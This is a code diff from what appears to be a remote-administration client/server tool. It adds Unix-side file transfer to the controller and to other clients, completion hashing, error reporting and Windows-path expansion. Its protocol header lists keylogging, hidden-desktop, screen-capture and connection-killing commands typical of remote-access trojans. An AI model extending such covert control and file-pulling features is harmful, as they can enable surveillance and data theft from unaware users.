// 落盘长度自检:写到一半失败过、或偏移被改写,都会在这里落成「长度不符」
|
||||
struct stat st;
|
||||
int szErr = 0;
|
||||
if (fstat(state->fd, &st) != 0) szErr = errno ? errno : EIO;
|
||||
else if ((uint64_t)st.st_size != pkt->fileSize) szErr = EIO;
|
||||
|
||||
// 记账 + 最后一个条目时回执(要在拿 s_statesMtx 之前做:里面会 Send2Server)
|
||||
FinishC2CItem(pkt, reply, myClientID, true, true, pkt->fileSize, szErr);
|
||||
|
||||
close(state->fd);
|
||||
state->fd = -1;
|
||||
Mprintf("[V2 Recv] File complete: %s\n", savePath.c_str());
|
||||
@@ -306,7 +328,8 @@ public:
|
||||
}
|
||||
|
||||
// 处理文件完成校验包
|
||||
static int HandleFileComplete(const uint8_t* buf, size_t len, uint64_t myClientID)
|
||||
static int HandleFileComplete(const uint8_t* buf, size_t len, uint64_t myClientID,
|
||||
IOCPClient* reply = nullptr)
|
||||
{
|
||||
if (len < sizeof(FileCompletePacketV2)) {
|
||||
return 1;
|
||||
@@ -322,6 +345,9 @@ public:
|
||||
Mprintf("[V2] File complete verify: transferID=%llu, fileIndex=%u, size=%llu\n",
|
||||
pkt->transferID, pkt->fileIndex, pkt->fileSize);
|
||||
|
||||
// 空文件不发任何数据块(worker 只发这个完成包),C2C 回执只能靠它把该条目算作已处理
|
||||
NoteC2CComplete(pkt, reply, myClientID);
|
||||
|
||||
// TODO: 实现 SHA-256 校验
|
||||
// 目前简单返回成功
|
||||
return 0;
|
||||
@@ -404,25 +430,37 @@ public:
|
||||
closedir(d);
|
||||
}
|
||||
|
||||
// Windows 路径转 Linux 路径
|
||||
// Windows 路径转 Linux 路径。服务端对话框的快捷按钮(桌面/下载/用户主页)下发的是
|
||||
// %USERPROFILE%\Desktop\ 这类 Windows 变量路径,必须先展开(见 UnixPath.h)。
|
||||
static std::string WinPathToLinux(const std::string& winPath)
|
||||
{
|
||||
std::string p = winPath;
|
||||
// 1. 反斜杠 -> 正斜杠
|
||||
for (auto& c : p) {
|
||||
if (c == '\\') c = '/';
|
||||
return UnixPath::ToUnixPath(winPath);
|
||||
}
|
||||
|
||||
// errno -> Win32 错误码:服务端 TOKEN_DOWNLOAD_ERROR 按 Win32 码分类
|
||||
// (McpServer::OnDownloadError: 2/3 -> 路径不存在,5 -> 拒绝访问,其余 -> 一般失败)。
|
||||
static uint32_t PosixErrnoToWin32(int e)
|
||||
{
|
||||
switch (e) {
|
||||
case ENOENT: return 2; // ERROR_FILE_NOT_FOUND
|
||||
case ENOTDIR: return 3; // ERROR_PATH_NOT_FOUND
|
||||
case EACCES:
|
||||
case EPERM: return 5; // ERROR_ACCESS_DENIED
|
||||
default: return 2;
|
||||
}
|
||||
// 2. 移除 "X:/" 或 "X:" 前缀
|
||||
if (p.size() >= 3 && p[1] == ':' && p[2] == '/') {
|
||||
p = p.substr(3);
|
||||
} else if (p.size() >= 2 && p[1] == ':') {
|
||||
p = p.substr(2);
|
||||
}
|
||||
// 3. 确保以 / 开头
|
||||
if (p.empty() || p[0] != '/') {
|
||||
p = "/" + p;
|
||||
}
|
||||
return p;
|
||||
}
|
||||
|
||||
// 下载请求无可用文件的结构化回报:[TOKEN_DOWNLOAD_ERROR:1][win32err:4 LE]。
|
||||
// 走文件管理器子连接(服务端此时还在等第一批 chunk),让它立即失败而不是等停滞看门狗。
|
||||
// 与 Windows 客户端 CFileManager::SendDownloadError 等价。
|
||||
static void SendDownloadError(IOCPClient* client, uint32_t win32err)
|
||||
{
|
||||
if (client == nullptr) return;
|
||||
if (win32err == 0) win32err = 2; // ERROR_FILE_NOT_FOUND
|
||||
uint8_t pkt[1 + sizeof(uint32_t)] = { 0 };
|
||||
pkt[0] = (uint8_t)TOKEN_DOWNLOAD_ERROR;
|
||||
memcpy(pkt + 1, &win32err, sizeof(uint32_t));
|
||||
client->Send2Server((char*)pkt, (ULONG)sizeof(pkt));
|
||||
}
|
||||
|
||||
// 处理 CMD_DOWN_FILES_V2 请求 - 上传文件到服务端
|
||||
@@ -448,19 +486,22 @@ public:
|
||||
|
||||
if (remotePaths.empty()) {
|
||||
Mprintf("[V2 Send] No files to send\n");
|
||||
SendDownloadError(client, 87); // ERROR_INVALID_PARAMETER(与 Windows 客户端一致)
|
||||
return;
|
||||
}
|
||||
|
||||
// 收集所有文件 (展开目录)
|
||||
std::vector<std::string> allFiles;
|
||||
std::vector<std::string> rootCandidates;
|
||||
int firstErrno = 0; // 首个失败的 errno(全部不存在时回报给服务端)
|
||||
|
||||
for (const auto& remotePath : remotePaths) {
|
||||
std::string localPath = WinPathToLinux(remotePath);
|
||||
|
||||
struct stat st;
|
||||
if (stat(localPath.c_str(), &st) != 0) {
|
||||
Mprintf("[V2 Send] File not found: %s\n", localPath.c_str());
|
||||
if (firstErrno == 0) firstErrno = errno ? errno : ENOENT;
|
||||
Mprintf("[V2 Send] File not found: %s (errno=%d)\n", localPath.c_str(), errno);
|
||||
continue;
|
||||
}
|
||||
|
||||
@@ -481,7 +522,8 @@ public:
|
||||
}
|
||||
|
||||
if (allFiles.empty()) {
|
||||
Mprintf("[V2 Send] No files found\n");
|
||||
Mprintf("[V2 Send] No files found (errno=%d)\n", firstErrno);
|
||||
SendDownloadError(client, PosixErrnoToWin32(firstErrno));
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -596,6 +638,9 @@ public:
|
||||
uint64_t offset = 0;
|
||||
std::vector<uint8_t> buffer;
|
||||
buffer.reserve(sizeof(FileChunkPacketV2) + targetNameGbk.length() + CHUNK_SIZE);
|
||||
Sha256 hasher; // 流式 SHA-256:服务端落盘后会用它校验
|
||||
bool truncated = false; // 读失败/文件变短 → 不发完成包,避免谎报校验通过
|
||||
bool sendOk = true;
|
||||
|
||||
while (offset < fileSize || (offset == 0 && fileSize == 0)) {
|
||||
size_t toRead = std::min(CHUNK_SIZE, (size_t)(fileSize - offset));
|
||||
@@ -628,21 +673,26 @@ public:
|
||||
ssize_t n = read(fd, dataPtr, toRead);
|
||||
if (n < 0) {
|
||||
Mprintf("[V2 Send] read failed: errno=%d\n", errno);
|
||||
truncated = true;
|
||||
break;
|
||||
}
|
||||
hasher.update(dataPtr, (size_t)n);
|
||||
if ((size_t)n < toRead) {
|
||||
// 文件读取不完整,调整包大小
|
||||
// 文件读取不完整(传输中被截断):调整包大小后作为末块发出,
|
||||
// 但不发完成包 —— 服务端按原 fileSize 收不全,必须让它失败而不是校验通过。
|
||||
toRead = n;
|
||||
pkt->dataLength = toRead;
|
||||
buffer.resize(sizeof(FileChunkPacketV2) + targetNameGbk.length() + toRead);
|
||||
isLast = true;
|
||||
pkt->flags |= FFV2_LAST_CHUNK;
|
||||
truncated = true;
|
||||
}
|
||||
}
|
||||
|
||||
// 发送
|
||||
if (!client->Send2Server((char*)buffer.data(), (ULONG)buffer.size())) {
|
||||
Mprintf("[V2 Send] Send failed\n");
|
||||
sendOk = false;
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -650,12 +700,31 @@ public:
|
||||
|
||||
// 空文件处理
|
||||
if (fileSize == 0) break;
|
||||
if (truncated) break; // 已按末块发出,不再续读
|
||||
|
||||
// 发送间隔 (避免发送过快)
|
||||
usleep(10000); // 10ms
|
||||
}
|
||||
|
||||
close(fd);
|
||||
|
||||
// 完成校验包:服务端凭它判定该文件结束并比对 SHA-256(目录项不发)。
|
||||
// 与 Windows 客户端 FileBatchTransferWorkerV2 的发送点一致;没有它 MCP
|
||||
// download_file 的会话永远等不到 filesDone 达标。
|
||||
if (sendOk && !truncated) {
|
||||
FileCompletePacketV2 cpkt;
|
||||
memset(&cpkt, 0, sizeof(cpkt));
|
||||
cpkt.cmd = COMMAND_FILE_COMPLETE_V2;
|
||||
cpkt.transferID = transferID;
|
||||
cpkt.srcClientID = myClientID;
|
||||
cpkt.dstClientID = 0; // 目标是主控端
|
||||
cpkt.fileIndex = fileIndex;
|
||||
cpkt.fileSize = fileSize;
|
||||
hasher.final(cpkt.sha256);
|
||||
if (!client->Send2Server((char*)&cpkt, (ULONG)sizeof(cpkt))) {
|
||||
Mprintf("[V2 Send] Send complete packet failed\n");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Mprintf("[V2 Send] Transfer complete: transferID=%llu\n", transferID);
|
||||
@@ -663,7 +732,7 @@ public:
|
||||
|
||||
private:
|
||||
static RecvState* GetOrCreateState(uint64_t key, const FileChunkPacketV2* pkt,
|
||||
const std::string& savePath)
|
||||
const std::string& savePath, int* openErrno = nullptr)
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(s_statesMtx);
|
||||
|
||||
@@ -682,6 +751,7 @@ private:
|
||||
// 打开文件
|
||||
state->fd = open(savePath.c_str(), O_WRONLY | O_CREAT | O_TRUNC, 0644);
|
||||
if (state->fd < 0) {
|
||||
if (openErrno) *openErrno = errno; // errno 会被下面的 Mprintf 冲掉,先存
|
||||
Mprintf("[V2 Recv] open failed: %s, errno=%d\n", savePath.c_str(), errno);
|
||||
return nullptr;
|
||||
}
|
||||
@@ -691,6 +761,111 @@ private:
|
||||
return ptr;
|
||||
}
|
||||
|
||||
// ===== C2C 接收回执 =====
|
||||
// C2C 的目标端不再只是「收包落盘」:本次传输的每个条目都定案后回一包
|
||||
// C2CSendResultPacket(TOKEN_C2C_RECV_RESULT,与源端的 175 分开,免得两种语义混在一个 token 里),
|
||||
// 把「是否真的写进去了」告诉服务端。Windows 目标端没有这个能力,服务端对它们保持旧语义。
|
||||
//
|
||||
// 条目定案的三个来源(缺一不可):
|
||||
// 1) 目录项:worker 发的 FFV2_DIRECTORY 包(不带 LAST_CHUNK);
|
||||
// 2) 非空文件:最后一块写盘成功(再 fstat 核对长度);
|
||||
// 3) 空文件:worker 不发任何数据块,只发 COMMAND_FILE_COMPLETE_V2。
|
||||
// 源端的重发(最多 3 次)和「最后一块 + 完成包」都会重复命中同一 fileIndex,用 done 集合去重。
|
||||
struct RecvProgress {
|
||||
uint32_t totalFiles = 0; // 从任意数据块/目录包学到(完成包里没有这个字段)
|
||||
std::set<uint32_t> doneFiles; // 已定案的文件 fileIndex
|
||||
std::set<uint32_t> doneDirs; // 已定案的目录项 fileIndex
|
||||
uint64_t bytes = 0; // 实收文件字节数
|
||||
bool failed = false;
|
||||
int firstErrno = 0;
|
||||
};
|
||||
|
||||
static bool IsFinalChunk(const FileChunkPacketV2* pkt)
|
||||
{
|
||||
return (pkt->flags & FFV2_LAST_CHUNK) != 0;
|
||||
}
|
||||
|
||||
static uint8_t MapErrnoToFileError(int e)
|
||||
{
|
||||
switch (e) {
|
||||
case EACCES:
|
||||
case EPERM:
|
||||
case EROFS: return FEV2_ACCESS_DENIED;
|
||||
case ENOENT:
|
||||
case ENOTDIR: return FEV2_FILE_NOT_FOUND;
|
||||
case ENOSPC: return FEV2_DISK_FULL;
|
||||
default: return FEV2_WRITE_FAILED;
|
||||
}
|
||||
}
|
||||
|
||||
// 记录一个条目的处理结果;finalChunk 表示这一包关掉了该条目(文件的最后一块 / 目录项 / 完成包)。
|
||||
// 所有条目都定案后就发回执。err != 0 表示这一条目失败(errno 原样带给服务端)。
|
||||
static void FinishC2CItem(const FileChunkPacketV2* pkt, IOCPClient* reply, uint64_t myClientID,
|
||||
bool isFile, bool finalChunk, uint64_t bytes, int err)
|
||||
{
|
||||
if (pkt->dstClientID == 0 || reply == nullptr) return; // 服务端上传/下载、或没有回执通道
|
||||
|
||||
C2CSendResultPacket res = {};
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(s_recvProgressMtx);
|
||||
// 传输中途断掉时条目会残留:攒多了整体清一次(残留的都是已废弃的 transferID)
|
||||
if (s_recvProgress.size() > 32) s_recvProgress.clear();
|
||||
RecvProgress& e = s_recvProgress[pkt->transferID];
|
||||
if (pkt->totalFiles != 0) e.totalFiles = pkt->totalFiles; // 完成包里没有,沿用学到的值
|
||||
|
||||
if (err != 0) {
|
||||
e.failed = true;
|
||||
if (e.firstErrno == 0) e.firstErrno = err;
|
||||
}
|
||||
if (finalChunk) {
|
||||
if (isFile) {
|
||||
if (e.doneFiles.insert(pkt->fileIndex).second && err == 0) e.bytes += bytes;
|
||||
} else {
|
||||
e.doneDirs.insert(pkt->fileIndex);
|
||||
}
|
||||
}
|
||||
|
||||
const bool finished = e.totalFiles != 0
|
||||
&& e.doneFiles.size() + e.doneDirs.size() >= e.totalFiles;
|
||||
if (!finished) return;
|
||||
|
||||
res.cmd = (uint8_t)TOKEN_C2C_RECV_RESULT;
|
||||
res.transferID = pkt->transferID;
|
||||
res.dstClientID = myClientID; // 服务端按连接身份 + dstClientID 双重核对
|
||||
res.status = e.failed ? (uint32_t)MapErrnoToFileError(e.firstErrno)
|
||||
: (uint32_t)FEV2_OK;
|
||||
res.win32err = (uint32_t)e.firstErrno; // 176 包里放的是 errno,不是 win32 码
|
||||
res.workerRc = 0; // 恒 0:不是源端 worker 返回码
|
||||
res.fileCount = (uint32_t)e.doneFiles.size();
|
||||
res.totalBytes = e.bytes;
|
||||
s_recvProgress.erase(pkt->transferID);
|
||||
}
|
||||
|
||||
// 锁外发送:Send2Server 可能阻塞,不应占着进度表
|
||||
if (reply->IsConnected() && reply->Send2Server((char*)&res, sizeof(res))) {
|
||||
Mprintf("[V2 Recv] C2C ack: transferID=%llu, files=%u, bytes=%llu, status=%u, errno=%u\n",
|
||||
(unsigned long long)res.transferID, res.fileCount,
|
||||
(unsigned long long)res.totalBytes, res.status, res.win32err);
|
||||
} else {
|
||||
Mprintf("[V2 Recv] C2C ack send failed: transferID=%llu\n",
|
||||
(unsigned long long)res.transferID);
|
||||
}
|
||||
}
|
||||
|
||||
// COMMAND_FILE_COMPLETE_V2:空文件的唯一「定案」来源(也用来给已定案的非空文件去重)
|
||||
static void NoteC2CComplete(const FileCompletePacketV2* cp, IOCPClient* reply, uint64_t myClientID)
|
||||
{
|
||||
if (cp->dstClientID == 0 || reply == nullptr) return;
|
||||
FileChunkPacketV2 probe = {};
|
||||
probe.cmd = COMMAND_SEND_FILE_V2;
|
||||
probe.transferID = cp->transferID;
|
||||
probe.dstClientID = cp->dstClientID;
|
||||
probe.fileIndex = cp->fileIndex;
|
||||
probe.totalFiles = 0; // 完成包没有 totalFiles,沿用进度表里学到的
|
||||
probe.fileSize = cp->fileSize;
|
||||
FinishC2CItem(&probe, reply, myClientID, true, true, 0, 0); // 空文件 bytes=0
|
||||
}
|
||||
|
||||
// 接收状态存储
|
||||
static inline std::map<uint64_t, std::unique_ptr<RecvState>> s_states;
|
||||
static inline std::mutex s_statesMtx;
|
||||
@@ -698,4 +873,8 @@ private:
|
||||
// C2C 目标目录存储
|
||||
static inline std::map<uint64_t, std::string> s_targetDirs;
|
||||
static inline std::mutex s_targetDirMtx;
|
||||
|
||||
// C2C 接收进度(按 transferID;定案发完回执即删)
|
||||
static inline std::map<uint64_t, RecvProgress> s_recvProgress;
|
||||
static inline std::mutex s_recvProgressMtx;
|
||||
};
|
||||
@@ -0,0 +1,214 @@
|
||||
/**
|
||||
* UnixPath.h - Windows-style path handling on Unix clients
|
||||
*
|
||||
* The Windows server sends paths in its own dialect: drive letters ("C:\", or
|
||||
* "/:" for a Unix root), backslashes, and environment variables that the Windows
|
||||
* client expands with ExpandEnvironmentStringsA. The remote shortcut buttons
|
||||
* (server/2015Remote/FileManagerDlg.cpp: OnRemoteDesktop/OnRemoteDownloads/
|
||||
* OnRemoteHome) are the visible case — they send "%USERPROFILE%\Desktop\" and
|
||||
* friends, which a Unix client cannot open as-is.
|
||||
*
|
||||
* This header turns such paths into something the Unix clients can use:
|
||||
* %USERPROFILE% / %HOME% / %HOMEDRIVE%%HOMEPATH% -> $HOME
|
||||
* %USERNAME% / %USER% / %LOGNAME% -> login name
|
||||
* $HOME/Desktop (etc.) -> the XDG folder when
|
||||
* user-dirs.dirs maps it
|
||||
* (e.g. ~/桌面)
|
||||
* Unknown %VAR% tokens are left untouched, so paths that legitimately contain a
|
||||
* percent sign keep working as before.
|
||||
*
|
||||
* PLATFORM SUPPORT: Linux, macOS. Windows resolves these natively and does not
|
||||
* include this header.
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <unistd.h>
|
||||
#include <pwd.h>
|
||||
#include <sys/stat.h>
|
||||
#include <cctype>
|
||||
#include <cstdlib>
|
||||
#include <fstream>
|
||||
#include <map>
|
||||
#include <string>
|
||||
|
||||
namespace UnixPath
|
||||
{
|
||||
|
||||
// ---- Home directory of the account the client runs as ----
|
||||
inline std::string HomeDir()
|
||||
{
|
||||
const char* home = getenv("HOME");
|
||||
if (home && *home) return home;
|
||||
struct passwd* pw = getpwuid(getuid());
|
||||
if (pw && pw->pw_dir && *pw->pw_dir) return pw->pw_dir;
|
||||
return "/";
|
||||
}
|
||||
|
||||
inline std::string TrimTrailingSlashes(std::string path)
|
||||
{
|
||||
while (path.size() > 1 && path.back() == '/') path.pop_back();
|
||||
return path;
|
||||
}
|
||||
|
||||
// Read ~/.config/user-dirs.dirs into {"Desktop" -> "/home/user/桌面", ...}.
|
||||
// The shortcuts use the English folder names, but on a localized desktop the
|
||||
// real folders are translated and only user-dirs.dirs knows where they are.
|
||||
// Entries pointing at a missing directory are dropped so the caller falls back
|
||||
// to the plain "$HOME/<Name>" path.
|
||||
inline std::map<std::string, std::string> LoadXdgUserDirs()
|
||||
{
|
||||
std::map<std::string, std::string> dirs;
|
||||
|
||||
std::string home = TrimTrailingSlashes(HomeDir());
|
||||
const char* cfgHome = getenv("XDG_CONFIG_HOME");
|
||||
std::string file = (cfgHome && *cfgHome) ? cfgHome : (home + "/.config");
|
||||
file += "/user-dirs.dirs";
|
||||
|
||||
std::ifstream in(file.c_str());
|
||||
std::string line;
|
||||
while (std::getline(in, line)) {
|
||||
size_t eq = line.find('=');
|
||||
if (eq == std::string::npos || line.compare(0, 4, "XDG_") != 0)
|
||||
continue;
|
||||
|
||||
std::string key = line.substr(4, eq - 4); // DESKTOP_DIR
|
||||
if (key.size() <= 4 || key.compare(key.size() - 4, 4, "_DIR") != 0)
|
||||
continue;
|
||||
|
||||
std::string value = line.substr(eq + 1);
|
||||
if (value.size() >= 2 && value.front() == '"' && value.back() == '"')
|
||||
value = value.substr(1, value.size() - 2);
|
||||
|
||||
// $HOME / ${HOME} are the only variables user-dirs.dirs may use
|
||||
for (size_t pos; (pos = value.find("${HOME}")) != std::string::npos; )
|
||||
value.replace(pos, 7, home);
|
||||
for (size_t pos; (pos = value.find("$HOME")) != std::string::npos; )
|
||||
value.replace(pos, 5, home);
|
||||
|
||||
// DESKTOP_DIR -> "Desktop"
|
||||
std::string name = key.substr(0, key.size() - 4);
|
||||
for (auto& c : name) c = (char)tolower((unsigned char)c);
|
||||
if (!name.empty()) name[0] = (char)toupper((unsigned char)name[0]);
|
||||
|
||||
if (!value.empty() && access(value.c_str(), F_OK) == 0)
|
||||
dirs[name] = TrimTrailingSlashes(value);
|
||||
}
|
||||
return dirs;
|
||||
}
|
||||
|
||||
inline const std::map<std::string, std::string>& XdgUserDirs()
|
||||
{
|
||||
// C++11 guarantees a thread-safe one-time initialization of the local static
|
||||
static const std::map<std::string, std::string> dirs = LoadXdgUserDirs();
|
||||
return dirs;
|
||||
}
|
||||
|
||||
// Rewrite $HOME/Desktop (etc.) to the localized folder user-dirs.dirs names.
|
||||
// Expects a slash-separated absolute path.
|
||||
inline std::string RemapXdgUserDir(const std::string& path)
|
||||
{
|
||||
std::string home = TrimTrailingSlashes(HomeDir());
|
||||
if (path.compare(0, home.size(), home) != 0)
|
||||
return path;
|
||||
|
||||
const std::map<std::string, std::string>& dirs = XdgUserDirs();
|
||||
if (dirs.empty())
|
||||
return path;
|
||||
|
||||
std::string base = (home == "/") ? "" : home;
|
||||
for (const auto& kv : dirs) {
|
||||
std::string prefix = base + "/" + kv.first;
|
||||
if (path == prefix ||
|
||||
(path.compare(0, prefix.size(), prefix) == 0 && path[prefix.size()] == '/'))
|
||||
return kv.second + path.substr(prefix.size());
|
||||
}
|
||||
return path;
|
||||
}
|
||||
|
||||
// Expand %USERPROFILE% style variables in a path the server sent.
|
||||
inline std::string ExpandWindowsEnvVars(const std::string& in)
|
||||
{
|
||||
std::string out;
|
||||
out.reserve(in.size());
|
||||
|
||||
for (size_t i = 0; i < in.size(); ) {
|
||||
if (in[i] != '%') {
|
||||
out += in[i++];
|
||||
continue;
|
||||
}
|
||||
size_t end = in.find('%', i + 1);
|
||||
if (end == std::string::npos) {
|
||||
out.append(in, i, std::string::npos);
|
||||
break;
|
||||
}
|
||||
|
||||
// Windows variable names are case-insensitive
|
||||
std::string name = in.substr(i + 1, end - i - 1);
|
||||
for (auto& c : name) c = (char)toupper((unsigned char)c);
|
||||
|
||||
bool known = true;
|
||||
std::string value;
|
||||
if (name == "USERPROFILE" || name == "HOME" || name == "HOMEPATH") {
|
||||
value = HomeDir();
|
||||
} else if (name == "HOMEDRIVE") {
|
||||
// "%HOMEDRIVE%%HOMEPATH%" has to come out as a single absolute home path
|
||||
value = "";
|
||||
} else if (name == "USERNAME" || name == "USER" || name == "LOGNAME") {
|
||||
const char* user = getenv("USER");
|
||||
if (!user || !*user) user = getenv("LOGNAME");
|
||||
struct passwd* pw = getpwuid(getuid());
|
||||
value = (user && *user) ? user : ((pw && pw->pw_name) ? pw->pw_name : "");
|
||||
} else {
|
||||
known = false;
|
||||
}
|
||||
|
||||
if (known)
|
||||
out += value;
|
||||
else
|
||||
out.append(in, i, end - i + 1);
|
||||
|
||||
i = end + 1;
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
// Convert a Windows-dialect path into one the Unix clients can open:
|
||||
// %USERPROFILE%\Desktop\ -> /home/user/Desktop/ (or the XDG desktop folder)
|
||||
// /:\home\user\file.txt -> /home/user/file.txt
|
||||
// C:\Users\file.txt -> /Users/file.txt
|
||||
// "" -> /
|
||||
inline std::string ToUnixPath(const std::string& winPath)
|
||||
{
|
||||
if (winPath.empty()) return "/";
|
||||
|
||||
std::string p = ExpandWindowsEnvVars(winPath);
|
||||
|
||||
// 1. Backslash -> forward slash
|
||||
for (auto& c : p) {
|
||||
if (c == '\\') c = '/';
|
||||
}
|
||||
// 2. Remove "X:/" or "X:" prefix (handles both /: and C: style)
|
||||
if (p.size() >= 3 && p[1] == ':' && p[2] == '/') {
|
||||
p = p.substr(3);
|
||||
} else if (p.size() >= 2 && p[1] == ':') {
|
||||
p = p.substr(2);
|
||||
}
|
||||
// 3. Ensure starts with /
|
||||
if (p.empty() || p[0] != '/') {
|
||||
p = "/" + p;
|
||||
}
|
||||
// 4. Merge consecutive slashes
|
||||
std::string result;
|
||||
result.reserve(p.size());
|
||||
for (size_t i = 0; i < p.size(); i++) {
|
||||
if (i > 0 && p[i] == '/' && p[i - 1] == '/')
|
||||
continue;
|
||||
result += p[i];
|
||||
}
|
||||
if (result.empty()) return "/";
|
||||
// 5. "$HOME/Desktop" -> localized folder (~/桌面 ...) when user-dirs.dirs says so
|
||||
return RemapXdgUserDir(result);
|
||||
}
|
||||
|
||||
} // namespace UnixPath
|
||||
+138
-10
@@ -136,6 +136,9 @@ inline int isValid_10s()
|
||||
#define CLIENT_CAP_UTF8 0x0002 // 协议字符串字段统一使用 UTF-8 编码(活动窗口、窗口列表、键盘记录中的窗口标题等)
|
||||
// 无此位 = 老客户端,按系统 ANSI(默认 CP936)解读
|
||||
#define CLIENT_CAP_SCREEN_PREVIEW 0x0004 // 支持屏幕预览(双击在线主机时弹缩略图)
|
||||
#define CLIENT_CAP_C2C_PATHS 0x0008 // 支持按路径清单向另一客户端发送文件(COMMAND_C2C_SEND_FILES,仅 Windows)
|
||||
#define CLIENT_CAP_C2C_RECV_ACK 0x0010 // 作为 C2C 目标端时,落盘完成后回执(TOKEN_C2C_RECV_RESULT,目前仅 Linux)
|
||||
#define CLIENT_CAP_PROTO_SWITCH 0x0020 // 支持服务端远程切换传输协议(COMMAND_SET_PROTO,仅 Windows)
|
||||
|
||||
#define TALK_DLG_MAXLEN 1024 // 最大输入字符长度
|
||||
|
||||
@@ -312,6 +315,41 @@ enum {
|
||||
TOKEN_DRAWING_BOARD=151, // 画板
|
||||
COMMAND_SCREEN_ROI = 152, // 屏幕区域
|
||||
COMMAND_SCREEN_WINDOW = 153, // 窗口捕获(标题字符串,空串=恢复全屏)
|
||||
COMMAND_SCREEN_SIGNATURE = 154,
|
||||
COMMAND_QUERY_LOG = 155,
|
||||
TOKEN_REPORT_LOG = 156,
|
||||
COMMAND_FORBIDDEN = 157,
|
||||
CMD_CUSTOM_CURSOR = 158,
|
||||
COMMAND_QUERY_ACTIVITY = 159, // 服务端 → 客户端:索取历史活动
|
||||
TOKEN_REPORT_ACTIVITY = 160, // 客户端 → 服务端:上报历史活动
|
||||
|
||||
COMMAND_CHAT = 161, // 服务端 → 客户端:发起远程交谈(双向聊天)
|
||||
COMMAND_MACHINE_MANAGE = 162, // 服务端 → 客户端:打开主机管理对话框
|
||||
COMMAND_FILE_MANAGER_PLUGIN = 163, // 服务端 → 客户端:打开插件文件管理对话框(SimplePlugins 迁移)
|
||||
COMMAND_PRIVATE_SCREEN_PLUGIN = 164, // 服务端 → 客户端:打开隐私屏幕(虚拟桌面,SimplePlugins 迁移)
|
||||
COMMAND_DRAWING_BOARD_PLUGIN = 165, // 服务端 → 客户端:打开远程画板(SimplePlugins 迁移)
|
||||
COMMAND_TLS_ENABLE = 166, // 服务端 → 客户端:启用 TLS 传输(写注册表,下次启动生效)
|
||||
COMMAND_TLS_DISABLE = 167, // 服务端 → 客户端:停用 TLS 传输(写注册表,下次启动生效)
|
||||
COMMAND_REGEN_CLIENT_ID = 168, // 服务端 → 客户端:撞 ID 的克隆机重生成 client_id(掺随机 UUID)后重连
|
||||
COMMAND_SCREEN_KEYFRAME_REQ = 169, // 服务端 → 客户端:下一次屏幕编码强制输出 IDR(Web 屏幕墙恢复用)
|
||||
|
||||
// MCP 结构化失败回报(客户端 → 服务端,仅失败分支发送;成功路径报文不变)。
|
||||
// 170-198 是当前未占用的字节值,显式赋值避免后续插入重编号。
|
||||
TOKEN_SERVICE_ERROR = 170, // [token:1][win32err:4 LE] 服务枚举失败(典型:OpenSCManager 权限不足)
|
||||
TOKEN_FILE_LIST_ERROR = 171, // [token:1][win32err:4 LE] 文件列表失败(典型:路径不存在/非法)
|
||||
TOKEN_REG_ERROR = 172, // [token:1][lstatus:4 LE] 注册表打开失败(键不存在/拒绝访问)
|
||||
TOKEN_DOWNLOAD_ERROR = 173, // [token:1][win32err:4 LE] 下载请求无可用文件(路径全部不存在)
|
||||
|
||||
// MCP C2C 文件传输(服务端 → 源客户端 → 目标客户端;数据由服务端原样中继)。
|
||||
// COMMAND_C2C_SEND_FILES / TOKEN_C2C_SEND_RESULT 只有声明 CLIENT_CAP_C2C_PATHS 的新客户端认识;
|
||||
// TOKEN_C2C_RECV_RESULT 由声明 CLIENT_CAP_C2C_RECV_ACK 的目标端回发,老服务端走 default 丢弃。
|
||||
COMMAND_C2C_SEND_FILES = 174, // [C2CSendFilesPacket][targetDir\0][path1\0]...[\0]
|
||||
TOKEN_C2C_SEND_RESULT = 175, // [C2CSendResultPacket] 源客户端回传的发送结果
|
||||
TOKEN_C2C_RECV_RESULT = 176, // [C2CSendResultPacket] 目标客户端回传的落盘回执(win32err 放 errno)
|
||||
|
||||
// 协议切换(服务端 → 客户端):把连接入口改成指定传输(TCP/WS/WSS)并立即重连。
|
||||
// 客户端把入口写进本机配置后断开,重连循环按新入口重连;新入口连不上会自动回退。
|
||||
COMMAND_SET_PROTO = 177, // [ProtoSwitchPacket][certLen 字节 PEM 正文]
|
||||
|
||||
TOKEN_DECRYPT = 199,
|
||||
TOKEN_REGEDIT = 200, // 注册表
|
||||
@@ -350,9 +388,54 @@ enum {
|
||||
COMMAND_TEXT_REPLACE = 249,
|
||||
TOKEN_CLIP_TEXT = 250,
|
||||
TOKEN_SERVER_VERIFY = 251, // 验证服务器,防中间人和假冒的授权服务器
|
||||
CMD_FILE_SPEED = 252, // 文件传输速度下发: [cmd:1][chunkKb:uint16 LE][durationMs:uint16 LE]
|
||||
|
||||
COMMAND_CONNECTION = 253, // 连接管理(服务端→客户端:查询/刷新连接列表)
|
||||
COMMAND_KILL_CONNECTION = 254, // 强制断开指定连接(服务端→客户端)
|
||||
TOKEN_CONNECTION_LIST = 255, // 连接列表响应(客户端→服务端)
|
||||
};
|
||||
|
||||
// COMMAND_SET_PROTO 的载荷(紧跟命令字节)。
|
||||
//
|
||||
// host/port 都为空表示「还原到安装时的直连入口」:客户端用本地记住的原入口(prev_*)
|
||||
// 恢复,服务端不需要知道客户端的直连地址。证书正文只在切换 WSS 且客户端可能还没有
|
||||
// 信任锚时附带——客户端写入后重建 TLS 上下文,随后按新入口重连即走 WSS。
|
||||
#pragma pack(push, 1)
|
||||
struct ProtoSwitchPacket {
|
||||
uint8_t proto; // PROTO_TCP / PROTO_WS / PROTO_WSS
|
||||
char host[100]; // 反向代理域名(SNI / Host 头),空 = 还原
|
||||
char port[8]; // 反向代理端口,空 = 还原
|
||||
uint32_t certLen; // 随后附带的信任锚 PEM 字节数(0 = 不下发)
|
||||
};
|
||||
#pragma pack(pop)
|
||||
|
||||
static_assert(sizeof(ProtoSwitchPacket) == 113, "ProtoSwitchPacket must be exactly 113 bytes");
|
||||
|
||||
// 单条连接记录(客户端 → 服务端)。地址字段存网络字节序(IPv4 展开为前 4 字节、IPv6 为 16 字节),
|
||||
// 端口字段存主机字节序(客户端 ntohs 转换)。断连时反向还原:地址拼回网络序 DWORD、端口 htons 转回
|
||||
// 网络序,填回 MIB_TCPROW 调 SetTcpEntry(iphlpapi 的地址/端口均为网络序)。
|
||||
#pragma pack(push, 1)
|
||||
struct ConnectionInfo {
|
